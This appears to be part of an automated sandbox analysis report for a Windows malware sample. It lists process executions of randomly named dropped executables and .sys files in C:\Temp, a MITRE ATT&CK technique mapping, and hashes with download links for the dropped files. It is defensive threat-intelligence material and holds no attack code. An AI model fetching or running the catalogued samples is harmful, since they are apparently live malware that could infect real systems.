      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6572,i,11911122444869537153,15581758744870718637,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=6412 /prefetch:14
      4⤵
      PID:5788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5368,i,3788080744397303412,4675154179437011299,262144 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=5396 /prefetch:10
      4⤵
      PID:4532
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5708,i,1323438195216196549,9808099892662091596,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=2996 /prefetch:14
      4⤵
      PID:4056

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6028

C:\Temp\mkecwupmhezxrpjh.sys
C:\Temp\mkecwupmhezxrpjh.sys
1⤵
- Executes dropped EXE
PID:824

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4600

C:\Temp\uomhezxrpj.sys
C:\Temp\uomhezxrpj.sys
1⤵
- Executes dropped EXE
PID:5012

C:\Temp\jhbztrmgez.sys
C:\Temp\jhbztrmgez.sys
1⤵
- Executes dropped EXE
PID:1700

C:\Temp\ywqomjdbwt.sys
C:\Temp\ywqomjdbwt.sys
1⤵
- Executes dropped EXE
PID:3668

C:\Temp\vtnlgdywqo.sys
C:\Temp\vtnlgdywqo.sys
1⤵
- Executes dropped EXE
PID:3176

C:\Temp\yvtnlidbvt.sys
C:\Temp\yvtnlidbvt.sys
1⤵
- Executes dropped EXE
PID:3104

C:\Temp\ayvqnifdxv.sys
C:\Temp\ayvqnifdxv.sys
1⤵
- Executes dropped EXE
PID:5392

C:\Temp\xvpnifaxsq.sys
C:\Temp\xvpnifaxsq.sys
1⤵
- Executes dropped EXE
PID:6060

C:\Temp\dxvpfzxupn.sys
C:\Temp\dxvpfzxupn.sys
1⤵
- Executes dropped EXE
PID:2276

C:\Temp\zusmkecwrp.sys
C:\Temp\zusmkecwrp.sys
1⤵
- Executes dropped EXE
PID:2024

C:\Temp\uomhecwurp.sys
C:\Temp\uomhecwurp.sys
1⤵
- Executes dropped EXE
PID:3844

C:\Temp\ojhbztrlje.sys
C:\Temp\ojhbztrlje.sys
1⤵
PID:3612

C:\Temp\qomgeywtom.sys
C:\Temp\qomgeywtom.sys
1⤵
PID:1212

C:\Temp\tnljgeyvqn.sys
C:\Temp\tnljgeyvqn.sys
1⤵
PID:3920

C:\Temp\lfdyvqniga.sys
C:\Temp\lfdyvqniga.sys
1⤵
PID:4352

C:\Temp\kicavsnkfc.sys
C:\Temp\kicavsnkfc.sys
1⤵
PID:1976

C:\Temp\qkfdxvsmkf.sys
C:\Temp\qkfdxvsmkf.sys
1⤵
PID:5312

C:\Temp\pnhfzxrpkh.sys
C:\Temp\pnhfzxrpkh.sys
1⤵
PID:5820

C:\Temp\uomkeczusm.sys
C:\Temp\uomkeczusm.sys
1⤵
PID:3080

C:\Temp\ywuomjhbzt.sys
C:\Temp\ywuomjhbzt.sys
1⤵
PID:6100

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bzwqoljdbw.exe

Path C:\Temp\bzwqoljdbw.exe
Size 365KB
SHA256 ba5b6aa4bc1803cfc5e68d1ae60888d64ca667f225d7c53e50f4d4225cc9a72a
MD5 69f18c7899453d45d23dfc845a4ba8c3
SHA1 c63f5cd9b0e05bae0048354da4de9f9b42b7490e
SHA512 cdd5adc43950c908c4edccb3299f5542d245a141c079a8743bbe21104655b4d0dfdb7ef2df99dd9279e3143cfdb59026125373e09a98f9ce64df68e35e0dabc2
SSDEEP 3072:iuxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:iuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1C5847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gezwrpjhbz.exe

Path C:\Temp\gezwrpjhbz.exe
Size 365KB
SHA256 791c295de5b8fde1453beed1c85d5185e1c0dfdf58e2ab4a5ee5055c09cfdc6f
MD5 2524c943d88cea40eb056602823df024
SHA1 4c788610e2caa382893d518a3d4cf42919e336e9
SHA512 3a291a4496de8928ef9e09e22b566dd6267485276cc06df1dcfcfb2512d711635b8095504e96c6418c59b6018fc15bae699ee1f9027597ac6790675e58d184d0
SSDEEP 3072:Fuxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:FuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1AA847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hezxrpjhbz.exe

Path C:\Temp\hezxrpjhbz.exe
Size 365KB
SHA256 559c0b82bc3748bfe24359cb71fd779212c848585c193298746f91fdec9aab84
MD5 4aabce72548659f7d1b58ba4bf384878
SHA1 ed26e98badf4ad6a8e8eaa34efae35c851ff7df5
SHA512 f1281f0d07e93507c659da8b5af5f1ce2af00b821b91ebeaea174570304a6a7f3fe2ea30d2ad47f9d9bfc5558c7b15d6a7e1dd5e3736a5379332dbbf266f1805
SSDEEP 3072:Euxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:EuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1DC847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_bzwqoljdbw.exe

Path C:\Temp\i_bzwqoljdbw.exe
Size 365KB
SHA256 28676a825b0334152b571cc5bd138c668bbf66cb85041413ffcad2371e60071f
MD5 5e85ff0db10388068823751bf48fa5bc
SHA1 dfcf2187173f5c9b261115dcc5e2be84ff6ab504
SHA512 0b9a88bf2fc91d0f0e015054fc83bf654101ff86b724915183df7c7da215b1aafeda29bda9a9f044e0bee907b63b11ada9376b4846fd20b88521bb5909369567
SSDEEP 3072:zuxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:zuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T124847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_gezwrpjhbz.exe

Path C:\Temp\i_gezwrpjhbz.exe
Size 365KB
SHA256 330a26d6859ae73783ce3234e3cd1c9657755b58a2de8e6fb636582a2fad73bd
MD5 9b027b6b9863ff19fc4c6e77ed542eb1
SHA1 f80dfbf15570123a04ff8d06f259dc1a7d823f8e
SHA512 0536f17ba356634135868a71279e51206386e99fbdf01cf8c3af27ede0e2a65b6db946e0a0fa0af8ec2b165fc99790d743d651203c9780b7aebbf84b4a2009a6
SSDEEP 3072:Quxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:QuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T12F847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_hezxrpjhbz.exe

Path C:\Temp\i_hezxrpjhbz.exe
Size 365KB
SHA256 2ffaca2d1a7f424e0e2a7f3178e3ef26b0620465be5aaf0d0f533df688409158
MD5 313048d4a02c34e3f9b045f597368233
SHA1 e2ff800cfc149e3340bf217f8b05d135e8d6bf3c
SHA512 4df1f427ec4ed5f8a532dd5da5123d12f7b274de36a5dd91891e7fb525a43f60b526095b07389d2bef66ec22c8c149e579fa5f1c8427f90e73d742919c7084fe
SSDEEP 3072:Ruxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:RuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T121847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_pmkecwupnh.exe

Path C:\Temp\i_pmkecwupnh.exe
Size 365KB
SHA256 14cf1a9f389781b397d3ee5a619937cb3cc919662b6fdfd3c7f1cbc060072d2a
MD5 7808e90a1ce18ad09818141d8005a1d6
SHA1 751e819fbb6e2a5b4994467d6f22085ed48f9d99
SHA512 8b7df69e0672a580f762ea64b2f14d1b4d65bd8e6f8411d8e9c31dd74d432c16ac0dea48b633ce3e44bd1ced501c8efb5381281a11cb4e69861204ee3ef5679b
SSDEEP 3072:tuxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:tuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T10B847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qoigaxvtqk.exe

Path C:\Temp\i_qoigaxvtqk.exe
Size 365KB
SHA256 d262ccf403edfdf7d9edc5116cc8ce4ffa0798f0c4b17b8010c4aef2e29f9efb
MD5 30f720f7a60e3de1b4b8eecc116f302b
SHA1 0854bc554b227237a7fa9b4c38ea8d16aba88e06
SHA512 e00ac1f56cff83233276bf613236c762b7122c4fd853b77b9007a16b2e461211d8525e9be835215369c9bb44b830fb5c0f4923e936349b3af5f994a662be44b2
SSDEEP 3072:Suxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:SuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1AF847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qoigbytqlj.exe

Path C:\Temp\i_qoigbytqlj.exe
Size 365KB
SHA256 1da88487615304cfe79065249d51cf39280fd72ccf5e6617159382d3f7cf88d2
MD5 828b99f55f8615c6b68a58d20d4608d4
SHA1 59dc5eb7d5e9fdae17cd8588da79f895ad71885b
SHA512 0144e35fa1fb429899e417634d460052136ee477a337863d6a1ee4dfeec4132ad9d5b78c6290cfcf826f9fdf5bb367b6e7505ec8dc3cbff7b7dc88d620ff8bb1
SSDEEP 3072:/Cuxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLP:KuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T18B847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jhbztrmgez.sys

Path C:\Temp\jhbztrmgez.sys
Size 293KB
SHA256 ec359a1c28d13f2895bf722d29e8b2fa87cf65fb3c647798160251708cdcc6f2
MD5 694d3899a7b148cfb2edd65603d3f010
SHA1 52a002a6e75444cc6023cd2aec7cf271ffdc8282
SHA512 f8353cbf29cb89c891a546fe1535011d7da5b9c11cfe269d951c7e83d8e921f21a0acdc030b630296f22dfe3bb04b2da55cbb7bc98ab887b798ec16f1b5804ea
SSDEEP 3072:OtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:OIJjiJcbI03GBc3ucY5DCSj
TLSH
T1C6545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mkecwupmhezxrpjh.exe

Path C:\Temp\mkecwupmhezxrpjh.exe
Size 365KB
SHA256 af97f4baa9f361050936e423a64e72243d89c3b01994a52670025ce3b2130f1b
MD5 9d48b967ec098ba56dec0992284c6428
SHA1 2bdf5d00697dc527bc84c83100d498c426cf8313
SHA512 af3cfc7d6ea63b677c9e86d0e902428b7fac2f6dd8d79a8f9aa8525abfdf9c0246db3f53ea7266b33ec82342de69e776dfcd0308447af0f80e213bc9b723ebcc
SSDEEP 3072:duxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:duxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T194847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mkecwupmhezxrpjh.sys

Path C:\Temp\mkecwupmhezxrpjh.sys
Size 293KB
SHA256 c9e774996212d2f04b847a152a6b2aac9eda273d0152717e3250cfe31665c766
MD5 cb40825eae9d6d61054807fbded7e0e7
SHA1 d266c6472090b6f7342984ff4860a59fbacd4cda
SHA512 4aaee3647947eeb1f231f64ea1ba79388ddd0f52291aa70ce7e7fb3243e99fc34617aec0101ab0870e2e55286f33d6f9065e8740af73960200717d6a8e8468cc
SSDEEP 3072:rtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:rIJjiJcbI03GBc3ucY5DCSj
TLSH
T173545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pmkecwupnh.exe

Path C:\Temp\pmkecwupnh.exe
Size 365KB
SHA256 f8a5dc263129d92f65c40e376f81204dc9206be44490a4822885956828cc4179
MD5 c9d3b2f10bea264e3921ab0cceedbca8
SHA1 3ea8cf977891310adc43eabdb96865cb4082a212
SHA512 673cf186533440416b93d4c20e52cae95d5bcc9fab674d5b446fa4fc8f9a7cab9c3d3e50d2e697fb0fffb339af50e002b47278a64b3645bf4be1b4248abf0477
SSDEEP 3072:yuxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:yuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T18E847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qoigaxvtqk.exe

Path C:\Temp\qoigaxvtqk.exe
Size 365KB
SHA256 d5ba64fd17dcc9af31b17862203ec4745c7f5b8588bbb1f9c6cb8c4f7850061a
MD5 63d077ece3c4ea5537b409db38c24d2f
SHA1 f3faeb1ead82a338e1a7c6207decc93ecacf7336
SHA512 c250d29bb55ff254666b9c0bb1a78e6a93f37562e242311a1fe3ad24ef143c5a75e53296e4ae8e6f46705adcba6806aa942b4b6b3f9924823c9a4d1dd1e10240
SSDEEP 6144:chuxyxtVlIJjiJcbI03GBc3ucY5DCSjXO:chuxyxsGjSGecvXO
TLSH
T12E847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qoigbytqlj.exe

Path C:\Temp\qoigbytqlj.exe
Size 365KB
SHA256 9b696a79fca1ae20a8e7463e36219fda0bc59f4ab10c501d66b5d27f38369049
MD5 6dcfd721a3982d448895c0128a42ea47
SHA1 0452e30d42c17f8ee7dad7c1d4f557831c8379ba
SHA512 1b9c9d969b7c8b2865b47daebb3cf3ddb6e5a9fcdeffec2df4121030cb6994aa2fab1ba84aead30b1e54ef84b0834a7b993827eb144b996636e040478ae6a8f1
SSDEEP 3072:Cuxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:CuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T172847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uomhezxrpj.sys

Path C:\Temp\uomhezxrpj.sys
Size 293KB
SHA256 c8f2f4094df8e0d31b4cf7b205566eda659a38a54fda6ca483b038ae19801938
MD5 282fa2993383fc9ec4bbcb13d2f1f02c
SHA1 75a0e4164926201f7b25e4bde6d94c25e1a3cd6e
SHA512 81eb239271cd4a08286a109bd3c6c702d0db804a54b08650dc48b6547c6bb87e8cf4e0c5b9e4c765e91f60ac5acdfe61ece545eb5090cab1de1fab7ac5c51b6c
SSDEEP 3072:9tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:9IJjiJcbI03GBc3ucY5DCSj
TLSH
T1C5545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vtnlgdywqo.sys

Path C:\Temp\vtnlgdywqo.sys
Size 293KB
SHA256 2fd427b910c2ea5583ef27b77c6b0c930c268d96bc9ba89a3c8aa35d0e59c865
MD5 2c3918292d27332cd133ba975efe30c1
SHA1 740eb7a3dee4f1f21cb3d16bcd6bcdadd8b32068
SHA512 071a536f8b3642af0c9ed2594ff2d37dac2e99e849599cabd674cc3e470db358b51d345c8b413f6f1fe0d262a076d7c787cc9e2d1fb5f4a76d3a430048698731
SSDEEP 3072:xtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:xIJjiJcbI03GBc3ucY5DCSj
TLSH
T1D6545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yvtnlidbvt.sys

Path C:\Temp\yvtnlidbvt.sys
Size 293KB
SHA256 05a9509a543568acadacfded9b0f09fdefc4c2ab69f1767c48693c3cede9b3cc
MD5 edd9ba8d05bafa6803daa852d9ea641a
SHA1 274229389c5351b11935c8ad85318210f8675f86
SHA512 046a9b87d21c39c6522b84102a650badf9a67730fe2a64bff093d3ddb14e01a2bb1a3e93042e669b6e5df6c9235e0765bdcc87dd07c490c29a7d33f1bce7df79
SSDEEP 3072:ytKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:yIJjiJcbI03GBc3ucY5DCSj
TLSH
T1EE545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ywqomjdbwt.sys

Path C:\Temp\ywqomjdbwt.sys
Size 293KB
SHA256 0eceda9b823c9f4ab1886fa2b105e13eac6eb0915d2340a7b6317a2595a36aa1
MD5 8eeb73dca57fa4de7547ded2d0e51210
SHA1 be48925f8c2d77e60cfe65e08b2ae2d08156762f
SHA512 b08eb93667e5b7be9e6e3b67eb2e1a62ed39197389f10968f7ccf17c885b0663a1c4af2fc525fd94e4960895c491b5711cd7977956d449d1184b50a753e4213c
SSDEEP 3072:htKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:hIJjiJcbI03GBc3ucY5DCSj
TLSH
T1FC545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b842906cea16d7b3aa3205573cacb7d4d1d2364d11253f46244aaa1a7745db30
MD5 aff0d41e14c14a0f33ef71eb300b3517
SHA1 1b323ae2f9d64108caaa43e8fc26a953c57942d4
SHA512 7d91f5d419c8dab3b5c13b763160d5c782dae9d50314591afda7d0f4db293ab075d234d6ab8602002e921be583a3c7b2c7977545c7522af94ab7cfae1e8bd620
TLSH
T1FAD0C02037457510C40D05704410CE02C133C80370C3DA003032C50CC5158C0FBCC0D7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 2b471d5790d1e8ac94438a5662d0ed854761db5162e9ed715d3f950974387da2
MD5 f3139b9e55fe18feb36cb00db002d273
SHA1 755162342b8e0f46c67a7ca7edf74a3293cdaeb7
SHA512 d229aade54d55576064d540cb4f4250cd3d32106eb04bcac5449501aba91bfbfe3857ca0457eab714fad16945c3e3a00e1b408afe8edd04cdf8574cf34450a48
TLSH
T17CD0C02437457610C40D05704410CE02C133C803B0C3DA003032C50CC5158C0FBCD0EB
MD5 SHA1 SHA512 TLSH

Submit Download

7f9f72cd-1d48-40cd-afed-ea2409b8cb06.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\7f9f72cd-1d48-40cd-afed-ea2409b8cb06.tmp
Size 14KB
SHA256 4730d02f8cb32eaf2f48691d32738365aa7e77fa5159ae3b1b8c07cabf49e7c4
MD5 31de1078dfc48a9812339f402a81afe5
SHA1 8e4cb20a197f3cb4fbe70c820a132f02957e9a9d
SHA512 2012d33639d03b16b544120f208a79e433477bdcb16d1f687206792ec3907ef6cefbfa255a7126bb39d2d02daa6c13244852a815927a68035cb965952c217a9e
SSDEEP 192:sxRerRnyM/jK1Ml8wcH/fNs52DaDVB9ptzzoA8p9F/g6+WNCgB/YJaf+GYIgtJ:sxRerHCH/fNs52DaBB9ptiT/5H/r63
TLSH
T1C062D906AA285937CCDBD20DFA557F53D6F85573E2901E44AAFC9A0C00E7ADD221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 1KB
SHA256 2ea1923f46fe10192530e451b97731ec518b03037e8564a014108d35f7593033
MD5 b1a6cc3b849815fe1476cdb89b1fdd25
SHA1 544f63e1cf0bbd076b09ab45dfaaef38f05a96b2
SHA512 bfedbf85a5434ea42f5c68b76e6fa065a0e4fbd509ba2503428694a90b6bf4109ee18c3b575301c224568837ba938efd8164525c3484f9616b8a7540d404e28f
TLSH
T13D31F7974A73846EC723133F94D01169F37B98A67F072FE11BAE5170BE00B43504648D
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 f11282b8cc30c3c71d7d19c6cd07f3c5c7cee6ce1b08a3599d4bdefd52546f7e
MD5 b7876a40ded1d900c24203e4a5e33d40
SHA1 b3825fab707c763bad178c9e70958da40db17359
SHA512 cd92a1f1ea73414b996dce8450bdc9f497eb4cfbfc851ae3a72fecfd162958d5448e957f74c10fde2782df9538669db049b1a8f086d44542dff904e26d009e72
TLSH
T1A151CCF3C2E8866D890156F0BB187E2BCE1D0955432C3D5A89E4AF1B93E2471E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 3d9301f470e60a1c12e9075631f63194b09d07fe61add3c61d7f53292600c2cd
MD5 7d35953b7436907f1d03660215fade32
SHA1 435ab40d2d6d423476675e2fc68e2b8a979b6ea0
SHA512 fddd752fee96f7e86fb9e8dbfa49d4c688ba1330a22e42337817ddd30a595b85d4b47fe81a5b43e95c2864df42b18bba57d012a7ad21ebac673682d155cfb3a1
SSDEEP 192:sxReoRnyM/jK1Ml8UQHcH/fNs12yaYZlifuDzzoA8prF/g6+WNCgB/YJIf+GYIgC:sxReoHq8H/fNs12yamlimDiB/5H/v6C
TLSH
T1FD62DA16AA385977DCDBD20DFA917F53D6F85573A2500E44AAFC8A0C01E7ADD221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 514374d234d161ac8d0d9487997ed91d3be56f4bc07055a21c28ddb506b3b9d3
MD5 4f2022dc3d6ad1cda3bf633e4c5516ba
SHA1 93c6e3077ad3b7f5662e9e7e1c440fe07e09f13f
SHA512 454fab2b0655af2eaf6775d2046831167b81dcbc8384923ed303d130eb1eb8a8c36bf37175049e1e17e70008c2e6d9550385919aabb360a2490ab4048294992b
SSDEEP 192:sxReoRnyM/jK1Ml8wcH/fNs12DaDVB9ptzzoA8p9F/g6+WNCgB/YJaf+GYIgDcJ:sxReoHCH/fNs12DaBB9ptiT/5H/r6k
TLSH
T1F962DA06AA285977CCDBD20DFA517F53D6F84573E2901E44AAFC9A0C00E7ADD221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 280c7fca94c8d13c517d49778358df6ebb35b21ff7967be997c17346f1adc324
MD5 10c18c5d0fdfb8751cabd7fed9a72e9f
SHA1 fed1299f3e88b5ca4fa85c8ec3d825ad7c6489b2
